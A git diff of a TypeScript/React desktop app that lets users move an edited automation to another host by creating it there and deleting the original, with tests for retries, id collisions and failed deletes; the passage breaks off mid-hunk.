diff --git a/src/renderer/src/components/automations/AutomationSchedulePicker.test.ts b/src/renderer/src/components/automations/AutomationSchedulePicker.test.ts
index 5ee1f22a4f8..9202dd58774 100644
--- a/src/renderer/src/components/automations/AutomationSchedulePicker.test.ts
+++ b/src/renderer/src/components/automations/AutomationSchedulePicker.test.ts
@@ -14,7 +14,7 @@ import {
   getSchedulePresetDraft
 } from './AutomationSchedulePicker'
 import { formatUiAutomationSchedule } from './automation-schedule-label'
-import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedules'
+import { isValidAutomationCronSchedule } from '../../../../shared/automation-schedule-parsing'
 import { SelectItem } from '@/components/ui/select'
 import { i18n } from '@/i18n/i18n'
 
diff --git a/src/renderer/src/components/automations/AutomationSchedulePicker.tsx b/src/renderer/src/components/automations/AutomationSchedulePicker.tsx
index 94399a0aab1..3dfe438cee6 100644
--- a/src/renderer/src/components/automations/AutomationSchedulePicker.tsx
+++ b/src/renderer/src/components/automations/AutomationSchedulePicker.tsx
@@ -7,10 +7,8 @@ import {
   SelectValue
 } from '@/components/ui/select'
 import type { AutomationSchedulePreset } from '../../../../shared/automations-types'
-import {
-  buildAutomationCronSchedule,
-  isValidAutomationSchedule
-} from '../../../../shared/automation-schedules'
+import { buildAutomationCronSchedule } from '../../../../shared/automation-schedule-occurrences'
+import { isValidAutomationSchedule } from '../../../../shared/automation-schedule-parsing'
 import type { AutomationDraft } from './AutomationEditorDialog'
 import { AutomationCustomCronPanel } from './AutomationCustomCronPanel'
 import { AutomationTimeField, parseAutomationTime } from './AutomationTimeField'
diff --git a/src/renderer/src/components/automations/AutomationsDetailPane.tsx b/src/renderer/src/components/automations/AutomationsDetailPane.tsx
index f596c21c36b..7eb2ff13c1d 100644
--- a/src/renderer/src/components/automations/AutomationsDetailPane.tsx
+++ b/src/renderer/src/components/automations/AutomationsDetailPane.tsx
@@ -36,6 +36,7 @@ import {
 import { getAutomationRunContent } from './automation-run-content'
 import type { AutomationActionNotice } from './automation-row-action-dispatch'
 import type { AutomationHostRecoveryAction } from './automation-host-status-descriptors'
+import type { AutomationHostCatalogEntry } from './automation-host-catalog-types'
 import type { AutomationTargetAvailability } from './automation-target-availability'
 import type { AutomationRunViewState } from './automation-run-view-state'
 import type { AutomationRunWorkspaceDisplay } from './automation-run-workspace-display'
@@ -56,6 +57,8 @@ type AutomationsDetailPaneProps = {
   selectedRepoDisplayName: string
   selectedRepoDefaultBaseRef: string | null
   selectedWorkspaceName: string
+  /** Catalog entry the selected row was listed from; absent for legacy unscoped rows. */
+  selectedHostEntry: AutomationHostCatalogEntry | null
   hostLabelById: ReadonlyMap<string, string>
   selectedRunNowAvailability: AutomationTargetAvailability | null
   selectedAutomationRunPageWorkspaceDisplay: AutomationRunWorkspaceDisplay | null
@@ -107,6 +110,7 @@ export function AutomationsDetailPane({
   selectedRepoDisplayName,
   selectedRepoDefaultBaseRef,
   selectedWorkspaceName,
+  selectedHostEntry,
   hostLabelById,
   selectedRunNowAvailability,
   selectedAutomationRunPageWorkspaceDisplay,
@@ -221,6 +225,7 @@ export function AutomationsDetailPane({
               projectName={selectedRepoDisplayName}
               projectDefaultBaseRef={selectedRepoDefaultBaseRef}
               workspaceName={selectedWorkspaceName}
+              hostEntry={selectedHostEntry}
               hostLabelById={hostLabelById}
               runNowAvailability={selectedRunNowAvailability}
               now={relativeNow}
diff --git a/src/renderer/src/components/automations/AutomationsPage.create-destination.test.tsx b/src/renderer/src/components/automations/AutomationsPage.create-destination.test.tsx
index da04a8cd58f..a0778029ef9 100644
--- a/src/renderer/src/components/automations/AutomationsPage.create-destination.test.tsx
+++ b/src/renderer/src/components/automations/AutomationsPage.create-destination.test.tsx
@@ -32,6 +32,7 @@ import {
 } from './automations-page-test-harness'
 import { makeAutomation, REPO_ID, WORKSPACE_ID } from './automations-page-fixtures'
 import type { Repo } from '../../../../shared/repo-types'
+import type { ProjectHostSetup } from '../../../../shared/project-types'
 
 installAutomationsPageHarness()
 
@@ -71,6 +72,52 @@ function addSshProject(): void {
   } as Repo
   mocks.state.repos = [...(mocks.state.repos as Repo[]), repo]
   mocks.repoMap.set(SSH_REPO_ID, repo)
+  // Without a ready setup on that host the project has no run context, and a
+  // save against it is refused before any destination is stated.
+  mocks.state.projectHostSetups = [
+    ...(mocks.state.projectHostSetups as ProjectHostSetup[]),
+    {
+      id: 'setup-ssh',
+      projectId: 'project-ssh',
+      hostId: `ssh:${SSH_TARGET_ID}`,
+      repoId: SSH_REPO_ID,
+      path: '/repos/orca',
+      displayName: 'orca',
+      setupState: 'ready',
+      setupMethod: 'legacy-repo',
+      createdAt: 1,
+      updatedAt: 1
+    }
+  ]
+}
+
+/** A runtime project with the same host-local id as the desktop project. */
+function addCollidingRuntimeProject(): void {
+  const repo = {
+    id: REPO_ID,
+    displayName: 'orca on m4-air',
+    path: '/repos/orca',
+    badgeColor: '#111111',
+    addedAt: 1,
+    worktreeBaseRef: 'main',
+    executionHostId: `runtime:${RUNTIME_ID}`
+  } as Repo
+  mocks.state.repos = [...(mocks.state.repos as Repo[]), repo]
+  mocks.state.projectHostSetups = [
+    ...(mocks.state.projectHostSetups as ProjectHostSetup[]),
+    {
+      id: 'setup-runtime-collision',
+      projectId: 'project-runtime-collision',
+      hostId: `runtime:${RUNTIME_ID}`,
+      repoId: REPO_ID,
+      path: '/repos/orca',
+      displayName: 'orca on m4-air',
+      setupState: 'ready',
+      setupMethod: 'legacy-repo',
+      createdAt: 1,
+      updatedAt: 1
+    }
+  ]
 }
 
 /** The runtime answers a create; without this the RPC double returns an empty result. */
@@ -395,6 +442,227 @@ describe('AutomationsPage edit dialog projects', () => {
   })
 })
 
+describe('AutomationsPage edit destination', () => {
+  it('names the edited row’s own host, and offers every host it could move to', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    addSshHost()
+    addSshProject()
+    runtimeHost([], [])
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+
+    const resolution = mocks.editorDialog?.editDestination?.resolution
+    expect(resolution?.status === 'ready' && resolution.entry.stableKey).toBe(DESKTOP_SELF_KEY)
+    // Another authority is a legal destination — reached by a create there and a
+    // delete here — so restricting the list to this one would hide a real move.
+    expect(mocks.editorDialog?.editDestination?.entries.map((entry) => entry.stableKey)).toContain(
+      RUNTIME_SELF_KEY
+    )
+    expect(mocks.editorDialog?.editDestination?.moveWarning).toBeFalsy()
+  })
+
+  it('moves the record across authorities by creating there and deleting here', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    runtimeHost([], [])
+    addRuntimeProject()
+    runtimeCreateReturns(makeAutomation({ id: 'a-moved', projectId: RUNTIME_REPO_ID }))
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+    await act(async () => {
+      mocks.editorDialog?.editDestination?.onSelect(RUNTIME_SELF_KEY)
+    })
+
+    expect(mocks.editorDialog?.editDestination?.moveWarning).toBeTruthy()
+
+    await act(async () => {
+      mocks.editorDialog?.onDraftChange((current) => ({
+        ...(current as Record<string, unknown>),
+        projectId: RUNTIME_REPO_ID,
+        workspaceMode: 'existing',
+        workspaceId: RUNTIME_WORKSPACE_ID
+      }))
+    })
+    await save()
+
+    expect(api.automations.update).not.toHaveBeenCalled()
+    expect(runtimeCreateCalls()).toHaveLength(1)
+    expect(runtimeCreateCalls()[0]?.[2]).toMatchObject({
+      repo: `id:${RUNTIME_REPO_ID}`,
+      dtstart: automation.dtstart
+    })
+    expect(api.automations.delete).toHaveBeenCalledWith(expect.objectContaining({ id: 'a-1' }))
+  })
+
+  it('moves when the destination project has the same host-local id', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    runtimeHost([], [])
+    addCollidingRuntimeProject()
+    runtimeCreateReturns(makeAutomation({ id: 'a-moved', projectId: REPO_ID }))
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+    await act(async () => {
+      mocks.editorDialog?.editDestination?.onSelect(RUNTIME_SELF_KEY)
+    })
+    await save()
+
+    expect(runtimeCreateCalls()).toHaveLength(1)
+    expect(runtimeCreateCalls()[0]?.[2]).toMatchObject({ repo: `id:${REPO_ID}` })
+    expect(api.automations.delete).toHaveBeenCalled()
+  })
+
+  it('reuses the move creation key on retry even when the schedule changed', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    runtimeHost([], [])
+    addRuntimeProject()
+    // The first create dies in transport after the server may have committed;
+    // only an identical creationKey on the retry keeps that copy singular.
+    let failCreate = true
+    const previous = mocks.callRuntimeRpc.getMockImplementation()
+    mocks.callRuntimeRpc.mockImplementation(
+      async (target: unknown, method: string, params: unknown, options: unknown) => {
+        if (method === 'automation.create') {
+          if (failCreate) {
+            failCreate = false
+            throw new Error('socket hang up')
+          }
+          return { automation: makeAutomation({ id: 'a-moved', projectId: RUNTIME_REPO_ID }) }
+        }
+        return await previous?.(target, method, params, options)
+      }
+    )
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+    await act(async () => {
+      mocks.editorDialog?.editDestination?.onSelect(RUNTIME_SELF_KEY)
+    })
+    await act(async () => {
+      mocks.editorDialog?.onDraftChange((current) => ({
+        ...(current as Record<string, unknown>),
+        projectId: RUNTIME_REPO_ID,
+        workspaceMode: 'existing',
+        workspaceId: RUNTIME_WORKSPACE_ID,
+        // A changed schedule mints dtstart per attempt — the volatile input that
+        // must not re-key the move.
+        preset: 'custom',
+        customSchedule: 'FREQ=DAILY;BYHOUR=10;BYMINUTE=0'
+      }))
+    })
+
+    const realNow = Date.now.bind(Date)
+    let clockSkew = 0
+    const nowSpy = vi.spyOn(Date, 'now').mockImplementation(() => realNow() + clockSkew)
+    try {
+      await save()
+      clockSkew = 5000
+      await save()
+    } finally {
+      nowSpy.mockRestore()
+    }
+
+    const creationKeys = runtimeCreateCalls().map(
+      (call) => (call[2] as { creationKey?: string }).creationKey
+    )
+    expect(creationKeys).toHaveLength(2)
+    expect(creationKeys[0]).toBeTruthy()
+    expect(creationKeys[1]).toBe(creationKeys[0])
+    expect(api.automations.delete).toHaveBeenCalledWith(expect.objectContaining({ id: 'a-1' }))
+  })
+
+  it('reports a kept original as two live copies, never as a completed move', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    runtimeHost([], [])
+    addRuntimeProject()
+    runtimeCreateReturns(makeAutomation({ id: 'a-moved', projectId: RUNTIME_REPO_ID }))
+    api.automations.delete.mockRejectedValue(new Error('gone away'))
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+    await act(async () => {
+      mocks.editorDialog?.editDestination?.onSelect(RUNTIME_SELF_KEY)
+    })
+    await act(async () => {
+      mocks.editorDialog?.onDraftChange((current) => ({
+        ...(current as Record<string, unknown>),
+        projectId: RUNTIME_REPO_ID,
+        workspaceMode: 'existing',
+        workspaceId: RUNTIME_WORKSPACE_ID
+      }))
+    })
+    await save()
+
+    expect(runtimeCreateCalls()).toHaveLength(1)
+    expect(api.automations.delete).toHaveBeenCalled()
+    expect(mocks.toastError).toHaveBeenCalledWith(expect.stringContaining('could not be deleted'))
+    expect(mocks.toastSuccess).not.toHaveBeenCalled()
+  })
+
+  it('moves the record to the host the user picks, clearing the stranded project', async () => {
+    const automation = makeAutomation({ id: 'a-1' })
+    api.automations.list.mockResolvedValue([])
+    scopedList([automation])
+    addSshHost()
+    addSshProject()
+
+    await renderPage()
+    await settleHostQueries()
+    await act(async () => {
+      void mocks.listPanel?.openEditDialog(listedRow(automation.id))
+    })
+    await act(async () => {
+      mocks.editorDialog?.editDestination?.onSelect(SSH_HOST_KEY)
+    })
+
+    // Keeping the local project selected only defers the same refusal to submit.
+    expect(mocks.editorDialog?.repos?.map((repo) => repo.id)).toEqual([SSH_REPO_ID])
+    expect(mocks.editorDialog?.draft?.projectId).toBe('')
+
+    await act(async () => {
+      mocks.editorDialog?.onDraftChange((current) => ({
+        ...(current as Record<string, unknown>),
+        projectId: SSH_REPO_ID,
+        workspaceMode: 'new_per_run',
+        workspaceId: ''
+      }))
+    })
+    await save()
+
+    expect(api.automations.update).toHaveBeenCalledWith(
+      expect.objectContaining({
+        destination: { selector: { kind: 'ssh', targetId: SSH_TARGET_ID, targetGeneration: 1 } }
+      })
+    )
+  })
+})
+
 describe('AutomationsPage create admission', () => {
   it('keeps the create button available while every offered host is ineligible', async () => {
     // No host has answered, so nothing resolves ready — but the dialog is where
diff --git a/src/renderer/src/components/automations/AutomationsPage.cross-authority-actions.test.tsx b/src/renderer/src/components/automations/AutomationsPage.cross-authority-actions.test.tsx
index 5c7225a9bd9..618c092b45a 100644
--- a/src/renderer/src/components/automations/AutomationsPage.cross-authority-actions.test.tsx
+++ b/src/renderer/src/components/automations/AutomationsPage.cross-authority-actions.test.tsx
@@ -53,6 +53,24 @@ function runtimeAutomationCalls(): string[] {
 }
 
 describe('AutomationsPage row actions under a colliding automation id', () => {
+  it('names the selected row’s own host, not the desktop that listed it', async () => {
+    await collidingHosts()
+    await renderPage()
+    await settleHostQueries()
+
+    const remote = mocks.listPanel?.filteredRows.find(
+      (candidate) => candidate.automation.name === 'Remote nightly'
+    )
+    await act(async () => {
+      mocks.listPanel?.selectAutomationRow(remote?.key ?? '')
+    })
+
+    // The runtime copy's own execution target reads `local` — local to that
+    // server — so only the row's catalog entry can name the host on the detail view.
+    expect(mocks.detailPane?.selected?.name).toBe('Remote nightly')
+    expect(mocks.detailPane?.selectedHostEntry?.authorityLabel).toBe('GPU box')
+  })
+
   it('runs the selected desktop row on the desktop, not on the runtime holding the same id', async () => {
     await collidingHosts()
     const { container } = await renderPage()
diff --git a/src/renderer/src/components/automations/AutomationsPage.tsx b/src/renderer/src/components/automations/AutomationsPage.tsx
index 7c908d41af1..1ff12cf347a 100644
--- a/src/renderer/src/components/automations/AutomationsPage.tsx
+++ b/src/renderer/src/components/automations/AutomationsPage.tsx
@@ -26,18 +26,20 @@ import {
   getLocalExecutionHostLabel,
   getRepoExecutionHostId,
   getWorktreeExecutionHostId,
-  parseExecutionHostId
+  parseExecutionHostId,
+  toRuntimeExecutionHostId,
+  type ExecutionHostId
 } from '../../../../shared/execution-host'
 import { getHostDisplayLabelOverrides } from '../../../../shared/host-setting-overrides'
 import type { OrcaHooks } from '../../../../shared/orca-yaml-hook-types'
 import type { Repo } from '../../../../shared/repo-types'
 import { getWorktreePathBasenameFromId } from '../../../../shared/worktree/id'
 import type { Worktree } from '../../../../shared/worktree/types'
+import { buildAutomationRrule } from '../../../../shared/automation-schedule-occurrences'
 import {
-  buildAutomationRrule,
   isValidAutomationCronSchedule,
   isValidAutomationSchedule
-} from '../../../../shared/automation-schedules'
+} from '../../../../shared/automation-schedule-parsing'
 import {
   canRerunAutomationRun,
   getAutomationRunViewState,
@@ -75,6 +77,7 @@ import {
 import {
   deleteAutomationForTarget,
   type AutomationHostTarget,
+  getAutomationAuthorityTarget,
   getAutomationHostTargetFromKey,
   getAutomationHostTargetKey,
   getAutomationListTarget,
@@ -139,13 +142,18 @@ import {
   groupReposByAutomationAuthority
 } from './automation-authority-identity'
 import {
+  automationCreateEligibleProjects,
   automationCreateHostOffered,
   automationCreateHostStableKey,
+  automationCreateProjectMismatch,
   resolveAutomationCreateDestination,
   revalidateAutomationCreateDestination,
   type AutomationCreateDestination
 } from './automation-create-destination'
-import { useAutomationCreateDestination } from './use-automation-create-destination'
+import {
+  useAutomationCreateDestination,
+  type AutomationCreateDestinationControl
+} from './use-automation-create-destination'
 import { persistSkipDeleteAutomationConfirm } from './automation-delete-confirm-preference'
 import { buildAutomationEditDraft, buildExternalAutomationEditDraft } from './automation-edit-draft'
 import { createAutomationAtDestination } from './automation-owner-action-runner'
@@ -193,6 +201,7 @@ export default function AutomationsPage(): React.JSX.Element {
   const ptyIdsByTabId = useAppStore((s) => s.ptyIdsByTabId)
   const activeWorktreeId = useAppStore((s) => s.activeWorktreeId)
   const fetchWorktrees = useAppStore((s) => s.fetchWorktrees)
+  const fetchRuntimeEnvironmentRepos = useAppStore((s) => s.fetchRuntimeEnvironmentRepos)
   const fetchAllWorktrees = useAppStore((s) => s.fetchAllWorktrees)
   const startupWorktreeRefreshCompleted = useAppStore((s) => s.startupWorktreeRefreshCompleted)
   const updateSettings = useAppStore((s) => s.updateSettings)
@@ -257,6 +266,7 @@ export default function AutomationsPage(): React.JSX.Element {
   // Separate from the page notice: while the editor is open it covers the page,
   // so a refusal posted there is a save that visibly did nothing at all.
   const [editorNotice, setEditorNotice] = useState<AutomationActionNotice | null>(null)
+  const [editorNoticeHost, setEditorNoticeHost] = useState<AutomationHostCatalogEntry | null>(null)
   const [externalActionKey, setExternalActionKey] = useState<string | null>(null)
   const [rerunRunIdsInFlight, setRerunRunIdsInFlight] = useState<ReadonlySet<string>>(
     () => new Set()
@@ -277,6 +287,12 @@ export default function AutomationsPage(): React.JSX.Element {
     projectId: string
     destination: AutomationCreateDestination
   } | null>(null)
+  // The host the edit form names. It filters the project list; the destination a
+  // save commits still comes from the chosen project, which is what moves the record.
+  const [editingHostStableKey, setEditingHostStableKey] = useState<string | null>(null)
+  // Reuse a move's create key after an ambiguous transport failure so retrying
+  // cannot schedule a second copy on the destination authority.
+  const moveCreationKeysRef = useRef(new Map<string, string>())
   const [relativeNow, setRelativeNow] = useState(Date.now())
   const [activePaneTab, setActivePaneTab] = useState<AutomationPaneTab>('overview')
   const [selectedAutomationRunPageId, setSelectedAutomationRunPageId] = useState<string | null>(
@@ -503,32 +519,70 @@ export default function AutomationsPage(): React.JSX.Element {
     (
       candidate: Pick<AutomationDraft, 'projectId' | 'workspaceMode'>
     ): AutomationDraft['setupDecision'] => {
-      const settingsForRepo = getSettingsForRepoRuntimeOwner(
-        { repos, settings },
-        candidate.projectId
-      )
-      const hookKey = `${settingsForRepo.activeRuntimeEnvironmentId ?? 'local'}:${candidate.projectId}`
+      // During an edit the selected destination, not the ambient repo-id lookup,
+      // owns setup policy. Repo ids can collide across runtime authorities.
+      const selectedEditEntry =
+        editingAutomationId !== null && editingHostStableKey
+          ? hostCatalog.entries.find((entry) => entry.stableKey === editingHostStableKey)
+          : null
+      const selectedEditAuthority = selectedEditEntry?.stableRef.authority
+      const setupHostId =
+        selectedEditAuthority?.kind === 'runtime'
+          ? toRuntimeExecutionHostId(selectedEditAuthority.environmentId)
+          : undefined
+      const setupRepos =
+        selectedEditAuthority?.kind === 'runtime'
+          ? getAutomationCreateRepos(repos, {
+              kind: 'environment',
+              environmentId: selectedEditAuthority.environmentId
+            })
+          : repos
+      const setupProjectHostSetups = setupHostId
+        ? projectHostSetups.filter(
+            (setup) => setup.repoId !== candidate.projectId || setup.hostId === setupHostId
+          )
+        : projectHostSetups
+      const settingsForRepo = setupHostId
+        ? {
+            ...settings,
+            activeRuntimeEnvironmentId:
+              selectedEditAuthority?.kind === 'runtime' ? selectedEditAuthority.environmentId : null
+          }
+        : getSettingsForRepoRuntimeOwner({ repos, settings }, candidate.projectId)
+      const hookKey = `${setupHostId ?? settingsForRepo.activeRuntimeEnvironmentId ?? 'local'}:${candidate.projectId}`
       return getVisibleAutomationSetupDecision({
         createTarget,
         workspaceMode: candidate.workspaceMode,
         repoId: candidate.projectId,
-        repos,
-        projectHostSetups,
+        repos: setupRepos,
+        projectHostSetups: setupProjectHostSetups,
         yamlHooks: automationYamlHooksByRepoKey[hookKey]
       })
     },
-    [automationYamlHooksByRepoKey, createTarget, projectHostSetups, repos, settings]
+    [
+      automationYamlHooksByRepoKey,
+      createTarget,
+      editingAutomationId,
+      editingHostStableKey,
+      hostCatalog.entries,
+      projectHostSetups,
+      repos,
+      settings
+    ]
   )
   const getAutomationHooksCacheKey = useCallback(
-    (repoId: string): string => {
+    (repoId: string, hostId?: ExecutionHostId): string => {
+      if (hostId) {
+        return `${hostId}:${repoId}`
+      }
       const settingsForRepo = getSettingsForRepoRuntimeOwner({ repos, settings }, repoId)
       return `${settingsForRepo.activeRuntimeEnvironmentId ?? 'local'}:${repoId}`
     },
     [repos, settings]
   )
   const loadAutomationYamlHooksForRepo = useCallback(
-    async (repoId: string): Promise<OrcaHooks | null> => {
-      const key = getAutomationHooksCacheKey(repoId)
+    async (repoId: string, hostId?: ExecutionHostId): Promise<OrcaHooks | null> => {
+      const key = getAutomationHooksCacheKey(repoId, hostId)
       if (Object.hasOwn(automationYamlHooksByRepoKey, key)) {
         return automationYamlHooksByRepoKey[key] ?? null
       }
@@ -537,7 +591,7 @@ export default function AutomationsPage(): React.JSX.Element {
         return (await existingPromise).hooks
       }
       const settingsForRepo = getSettingsForRepoRuntimeOwner({ repos, settings }, repoId)
-      const promise = checkRuntimeHooks(settingsForRepo, repoId)
+      const promise = checkRuntimeHooks(settingsForRepo, repoId, hostId)
         .then((result) => ({
           hooks: result.status === 'error' ? null : ((result.hooks as OrcaHooks | null) ?? null),
           ok: result.status !== 'error'
@@ -604,10 +658,6 @@ export default function AutomationsPage(): React.JSX.Element {
       })
     )
   }, [repoForRow, selectedRow, selectedRuns, worktreeForRow, worktreeMap])
-  const worktrees = useMemo(
-    () => worktreesByRepo[draft.projectId] ?? [],
-    [draft.projectId, worktreesByRepo]
-  )
   const automationHostTarget = useMemo(
     () => getAutomationHostTargetFromKey(automationHostTargetKey),
     [automationHostTargetKey]
@@ -658,6 +708,9 @@ export default function AutomationsPage(): React.JSX.Element {
     createDestination.control.resolution.authority.kind === 'runtime'
       ? createDestination.control.resolution.authority.environmentId
       : null
+  const createDestinationHostId = createDestinationRuntimeEnvironmentId
+    ? toRuntimeExecutionHostId(createDestinationRuntimeEnvironmentId)
+    : undefined
   useEffect(() => {
     if (createDestinationRuntimeEnvironmentId) {
       void useAppStore
@@ -923,7 +976,9 @@ export default function AutomationsPage(): React.JSX.Element {
   const canSaveDraft =
     editingAutomationId === null ||
     !draftAtOpen ||
-    JSON.stringify(draft) !== JSON.stringify(draftAtOpen)
+    JSON.stringify(draft) !== JSON.stringify(draftAtOpen) ||
+    (editingAutomationId !== null &&
+      editingHostStableKey !== rowRecoveryHost(editingRowKey)?.stableKey)
   const getAutomationRepoHostLabel = useCallback(
     (repo: Repo): string => {
       const hostId = getRepoExecutionHostId(repo)
@@ -1015,14 +1070,127 @@ export default function AutomationsPage(): React.JSX.Element {
     )
   })()
   const isOrcaForm = createTarget === 'orca' && editingExternalTarget === null
+  const dialogAuthorityRepos = getAutomationCreateRepos(repos, automationDialogTarget)
+  // The authority storing the edited record; a save landing on another one is a move.
+  const dialogAuthorityKey = automationAuthorityCatalogKey(
+    automationDialogTarget.kind === 'environment'
+      ? { kind: 'runtime', environmentId: automationDialogTarget.environmentId }
+      : { kind: 'desktop' }
+  )
+  const editHostEntries = hostCatalog.entries
+  const editHostResolution = resolveAutomationCreateDestination(
+    editingHostStableKey
+      ? editHostEntries.find((entry) => entry.stableKey === editingHostStableKey)
+      : null
+  )
+  const editHostProjects =
+    editHostResolution.status === 'ready'
+      ? automationCreateEligibleProjects(
+          repoTables,
+          editHostResolution,
+          getAutomationCreateRepos(
+            repos,
+            getAutomationAuthorityTarget(editHostResolution.authority)
+          )
+        )
+      : dialogAuthorityRepos
+  const editMoveTargetEntry =
+    editHostResolution.status === 'ready' &&
+    automationAuthorityCatalogKey(editHostResolution.authority) !== dialogAuthorityKey
+      ? editHostResolution.entry
+      : null
+  const editDestinationRuntimeEnvironmentId =
+    editHostResolution.status === 'ready' && editHostResolution.authority.kind === 'runtime'
+      ? editHostResolution.authority.environmentId
+      : null
+  useEffect(() => {
+    if (editDestinationRuntimeEnvironmentId) {
+      void fetchRuntimeEnvironmentRepos(editDestinationRuntimeEnvironmentId)
+    }
+  }, [editDestinationRuntimeEnvironmentId, fetchRuntimeEnvironmentRepos])
+  // Picking a host strands a project that lives on another one; clearing it here
+  // states the move instead of deferring the same refusal to submit.
+  const handleEditHostChange = (stableKey: string): void => {
+    setEditingHostStableKey(stableKey)
+    const resolved = resolveAutomationCreateDestination(
+      editHostEntries.find((entry) => entry.stableKey === stableKey)
+    )
+    const projectId = draftRef.current.projectId
+    if (
+      projectId &&
+      resolved.status === 'ready' &&
+      !automationCreateProjectMismatch(repoTables, resolved, projectId)
+    ) {
+      setEditingDestination({ projectId, destination: resolved })
+      // Workspace ids are host-local. Never carry the source host's workspace
+      // into a move, even when the destination happens to reuse the project id.
+      if (editingHostStableKey !== stableKey) {
+        setDraft((current) => ({ ...current, workspaceId: '', baseBranch: '' }))
+        if (resolved.authority.kind === 'runtime') {
+          void fetchWorktrees(projectId, {
+            executionHostId: toRuntimeExecutionHostId(resolved.authority.environmentId)
+          })
+        }
+      }
+      return
+    }
+    setEditingDestination(null)
+    setDraft((current) => ({ ...current, projectId: '', workspaceId: '', baseBranch: '' }))
+  }
+  const editDestinationControl: AutomationCreateDestinationControl = {
+    entries: editHostEntries,
+    resolution: editHostResolution,
+    onSelect: handleEditHostChange,
+    projects: editHostProjects,
+    // Replacer fn: a literal replacement would expand `$` patterns in host labels.
+    moveWarning: editMoveTargetEntry
+      ? translate(
+          'auto.components.automations.createDestination.move',
+          'Saving creates this automation on {host} and deletes the original and its run history.'
+        ).replace('{host}', () => editMoveTargetEntry.authorityLabel)
+      : null
+  }
   const dialogRepos = isOrcaForm
     ? editingAutomationId !== null
-      ? getAutomationCreateRepos(repos, automationDialogTarget)
+      ? editHostProjects
       : editorProjects
     : getAutomationCreateRepos(repos, { kind: 'local' })
+  // Worktree caches are merged by project id across hosts. The dialog's repo
+  // list is already authority-scoped, so use that repo instance to keep
+  // host-local workspace ids from crossing an authority boundary.
+  const dialogWorktrees = useMemo(() => {
+    const candidates = worktreesByRepo[draft.projectId] ?? []
+    const project = dialogRepos.find((repo) => repo.id === draft.projectId)
+    if (!project) {
+      return candidates
+    }
+    const hostId = getRepoExecutionHostId(project)
+    const parsedHost = parseExecutionHostId(hostId)
+    return candidates.filter((worktree) => {
+      if (getWorktreeExecutionHostId(worktree, project) === hostId) {
+        return true
+      }
+      // A paired runtime can own an SSH execution host; nested worktrees keep
+      // hostId=ssh:* while runtimeOwnerEnvironmentId names the routing owner.
+      return (
+        parsedHost?.kind === 'runtime' &&
+        worktree.runtimeOwnerEnvironmentId === parsedHost.environmentId
+      )
+    })
+  }, [dialogRepos, draft.projectId, worktreesByRepo])
 
   const destinationForProject = useCallback(
-    (projectId: string): AutomationCreateDestination | null => {
+    (projectId: string, hostStableKey?: string | null): AutomationCreateDestination | null => {
+      const selectedEntry = hostStableKey
+        ? hostCatalog.entries.find((candidate) => candidate.stableKey === hostStableKey)
+        : null
+      const selected = resolveAutomationCreateDestination(selectedEntry)
+      if (hostStableKey) {
+        return selected.status === 'ready' &&
+          !automationCreateProjectMismatch(repoTables, selected, projectId)
+          ? selected
+          : null
+      }
       const runContext = buildAutomationRunContextForRepo({
         repoId: projectId,
         repos,
@@ -1038,7 +1206,7 @@ export default function AutomationsPage(): React.JSX.Element {
       const resolved = resolveAutomationCreateDestination(entry)
       return resolved.status === 'ready' ? resolved : null
     },
-    [hostCatalog.entries, projectHostSetups, repos]
+    [hostCatalog.entries, projectHostSetups, repoTables, repos]
   )
 
   const reloadExternalManagers = scopedExternal.reload
@@ -1158,7 +1326,9 @@ export default function AutomationsPage(): React.JSX.Element {
   }, [refresh])
 
   useEffect(() => {
-    if (!draft.projectId) {
+    // Creates only: an edit whose project was cleared is waiting for one on the
+    // chosen host, and this default would reinstate a project that host lacks.
+    if (!draft.projectId && editingAutomationId === null) {
       const target = getDefaultTarget()
       if (!target.projectId) {
         return
@@ -1169,18 +1339,19 @@ export default function AutomationsPage(): React.JSX.Element {
         workspaceId: target.workspaceId
       }))
     }
-  }, [draft.projectId, getDefaultTarget])
+  }, [draft.projectId, editingAutomationId, getDefaultTarget])
 
   useEffect(() => {
     if (!draft.projectId) {
       return
     }
-    const available = worktreesByRepo[draft.projectId] ?? []
-    const defaultWorktree = getDefaultWorktree(available)
+    // Authority-scoped: the merged cache would restore a source-host workspace
+    // after a host change clears it, which save validation then rejects.
+    const defaultWorktree = getDefaultWorktree(dialogWorktrees)
     if (!draft.workspaceId && defaultWorktree) {
       setDraft((current) => ({ ...current, workspaceId: defaultWorktree.id }))
     }
-  }, [draft.projectId, draft.workspaceId, worktreesByRepo])
+  }, [dialogWorktrees, draft.projectId, draft.workspaceId])
 
   useEffect(() => {
     if (
@@ -1191,10 +1362,11 @@ export default function AutomationsPage(): React.JSX.Element {
     ) {
       return
     }
-    void loadAutomationYamlHooksForRepo(draft.projectId)
+    void loadAutomationYamlHooksForRepo(draft.projectId, createDestinationHostId)
   }, [
     createOpen,
     createTarget,
+    createDestinationHostId,
     draft.projectId,
     draft.workspaceMode,
     loadAutomationYamlHooksForRepo
@@ -1280,6 +1452,7 @@ export default function AutomationsPage(): React.JSX.Element {
     setEditingAutomationId(null)
     setEditingExternalTarget(null)
     setEditingDestination(null)
+    setEditingHostStableKey(null)
     setCreateTarget('orca')
     const baseDraft: AutomationDraft = {
       name: '',
@@ -1344,10 +1517,12 @@ export default function AutomationsPage(): React.JSX.Element {
     }
     setEditingAutomationId(latest.id)
     setEditingRowKey(row.key)
-    const initialDestination = destinationForProject(latest.projectId)
